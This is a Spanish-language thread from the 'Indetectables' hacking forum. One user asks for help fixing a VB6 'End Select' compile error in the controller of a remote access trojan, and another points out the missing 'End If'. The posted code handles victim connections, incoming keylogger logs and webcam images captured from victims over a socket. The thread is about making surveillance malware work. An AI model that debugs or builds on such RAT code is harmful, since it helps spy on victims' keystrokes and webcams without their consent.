Indetectables

Publicado: **12 Mar 2013, 21:40**

Hola amigos de indetectables, presento un problema que al generar el .EXE me marca lo siguiente:

"End Select sin Select Case"

Se lo que significa, pero creo que es un mal uso del Select Case

Mi problema es que no sé como adjuntar(Por así decirlo) los datos de 2 variables en 1

Lo que yo preciso es esto:

Select Case Left (Data, 2)
y a la vez tambien Select Case KzHacker(0)

Para poder recibir los datos de la conexión y el envio de la WebCam

Deduciendo yo mismo creo que deberia pasar los datos de la variable Lstring a la de kzhacker junto con el delimitador? O no es posible por la sintaxis?

Código: Seleccionar todo

Dim Data As String
Dim KzHacker() As String
Dim LV
Sock(Index).GetData Data
KzHacker() = Split(Data, "|")
Rbytes = Rbytes + bytesTotal
Lstring = Mid(Data, 3, Len(Data))

Select Case KzHacker(0)

Case "Conexion"
Set LV = LV1.ListItems.Add(, Index & "|", KzHacker(1), 1, 1)
LV.SubItems(1) = KzHacker(2)
LV.SubItems(2) = KzHacker(3)
LV.SubItems(3) = KzHacker(4)
LV.SubItems(4) = KzHacker(5)
Notificacion.LabelIP.Caption = KzHacker(2)
Notificacion.LabelVictima.Caption = KzHacker(1)
Notificacion.Visible = True

Case "Keylogger"
KeyloggerFrm.txtLog.Text = KzHacker(1)

Case "Comenzar"
    SfileLen = Lstring
    Sock(Index).SendData "5@"
    Open "C:\camcap.jpg" For Binary Access Write As #2
    Rbytes = 0
    WebcamFrm.LabelStatus.Caption = "Recibiendo Imagenes"

Case "Drivers"
    WebcamFrm.LabelStatus.Caption = "Drivers: " & Lstring
       
Case "Quality"
WebcamFrm.LabelStatus.Caption = "Calidad establecida a : " & Lstring

Case "Error"
WebcamFrm.LabelStatus.Caption = "Webcam Error"
Case Else
Put #2, , Data
If Rbytes = SfileLen Then
    Close #2
    ImCam.Picture = LoadPicture("C:\camcap.jpg")
    Sock(Index).SendData "Comenzar"
    WebcamFrm.LabelStatus.Caption = "Requiriendo Captura"
    
End Select

Publicado: **13 Mar 2013, 04:40**

Hola hermano, creo que el problema del select es que veo un if sin end if

Código: Seleccionar todo

If Rbytes = SfileLen Then 'Aqui 
    Close #2
    ImCam.Picture = LoadPicture("C:\camcap.jpg")
    Sock(Index).SendData "Comenzar"
    WebcamFrm.LabelStatus.Caption = "Requiriendo Captura"
   
End Select

y si as puesto el End if luego del End select te a quedado atrapado el final dento de la sentencia dentro del if
al compilar supone que dentro del if hay un select case

Código: Seleccionar todo

If Rbytes = SfileLen Then 'Quedaria asi  
    Close #2
    ImCam.Picture = LoadPicture("C:\camcap.jpg")
    Sock(Index).SendData "Comenzar"
    WebcamFrm.LabelStatus.Caption = "Requiriendo Captura"
   End If 
End Select

En cuanto a adjuntar las dos variables, si no te entedi mal, creo que podria sea algo como esto
declarar una variable String Publica, y mediante codigo agregarle lo que tu dices

ejem

Código: Seleccionar todo

  Public ADD As String
    Private Sub Form1_Load(ByVal

Y luego a medida que el Select avanze agregara el resto

Código: Seleccionar todo

Select Case Left (Data, 2)
ADD = Left (Data, 2)

despues

Código: Seleccionar todo

 Select Case KzHacker(0)
ADD = ADD & KzHacker(0)

Espero te sirva
Saludos

Publicado: **14 Mar 2013, 23:46**

xserpientex escribió:Hola hermano, creo que el problema del select es que veo un if sin end if
Código: Seleccionar todo
If Rbytes = SfileLen Then 'Aqui 
    Close #2
    ImCam.Picture = LoadPicture("C:\camcap.jpg")
    Sock(Index).SendData "Comenzar"
    WebcamFrm.LabelStatus.Caption = "Requiriendo Captura"
   
End Select 
y si as puesto el End if luego del End select te a quedado atrapado el final dento de la sentencia dentro del if
al compilar supone que dentro del if hay un select case
Código: Seleccionar todo
If Rbytes = SfileLen Then 'Quedaria asi  
    Close #2
    ImCam.Picture = LoadPicture("C:\camcap.jpg")
    Sock(Index).SendData "Comenzar"
    WebcamFrm.LabelStatus.Caption = "Requiriendo Captura"
   End If 
End Select
En cuanto a adjuntar las dos variables, si no te entedi mal, creo que podria sea algo como esto
declarar una variable String Publica, y mediante codigo agregarle lo que tu dices

ejem
Código: Seleccionar todo
  Public ADD As String
    Private Sub Form1_Load(ByVal
Y luego a medida que el Select avanze agregara el resto
Código: Seleccionar todo
Select Case Left (Data, 2)
ADD = Left (Data, 2)
despues
Código: Seleccionar todo
 Select Case KzHacker(0)
ADD = ADD & KzHacker(0) 
Espero te sirva
Saludos

Hola amigo, muchas gracias, soy un despistado terrible jajaja !
Te debo una!

Indetectables

Problema Select Case Vb6

Problema Select Case Vb6

Re: Problema Select Case Vb6

Re: Problema Select Case Vb6